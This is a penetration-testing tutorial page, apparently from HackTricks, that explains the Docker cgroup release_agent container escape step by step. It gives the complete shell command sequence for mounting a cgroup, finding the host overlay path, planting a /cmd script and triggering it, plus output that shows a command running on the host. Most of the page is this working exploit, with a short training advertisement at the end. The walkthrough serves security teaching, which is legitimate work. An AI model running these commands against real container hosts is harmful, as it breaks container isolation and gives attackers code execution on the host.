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# Docker release\_agent cgroups escape
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### Breaking down the proof of concept
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To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup.
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To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers.
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If you’re following along and get **`mount: /tmp/cgrp: special device cgroup does not exist`**, it’s because your setup doesn’t have the RDMA cgroup controller. **Change `rdma` to `memory` to fix it**. We’re using RDMA because the original PoC was only designed to work with it.
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Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another.
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We can see the “x” child cgroup creation and its directory listing below.
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```shell-session
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root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
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root@b11cf9eab4fd:/# ls /tmp/cgrp/
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cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
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root@b11cf9eab4fd:/# ls /tmp/cgrp/x
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cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks
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```
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Next, we **enable cgroup** notifications on release of the “x” cgroup by **writing a 1** to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file.
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The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host.
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Those operations can be seen below:
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```shell-session
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root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
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root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
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root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
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```
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Note the path to the `/cmd` script, which we are going to create on the host:
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```shell-session
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root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
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/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd
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```
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Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents:
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```shell-session
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root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
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root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
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root@b11cf9eab4fd:/# chmod a+x /cmd
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root@b11cf9eab4fd:/# cat /cmd
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#!/bin/sh
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ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output
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```
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Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container:
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```shell-session
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root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
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root@b11cf9eab4fd:/# head /output
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USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
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root 1 0.1 1.0 17564 10288 ? Ss 13:57 0:01 /sbin/init
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root 2 0.0 0.0 0 0 ? S 13:57 0:00 [kthreadd]
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root 3 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_gp]
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root 4 0.0 0.0 0 0 ? I< 13:57 0:00 [rcu_par_gp]
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root 6 0.0 0.0 0 0 ? I< 13:57 0:00 [kworker/0:0H-kblockd]
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root 8 0.0 0.0 0 0 ? I< 13:57 0:00 [mm_percpu_wq]
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root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0]
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root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched]
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root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0]
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```
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### References
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* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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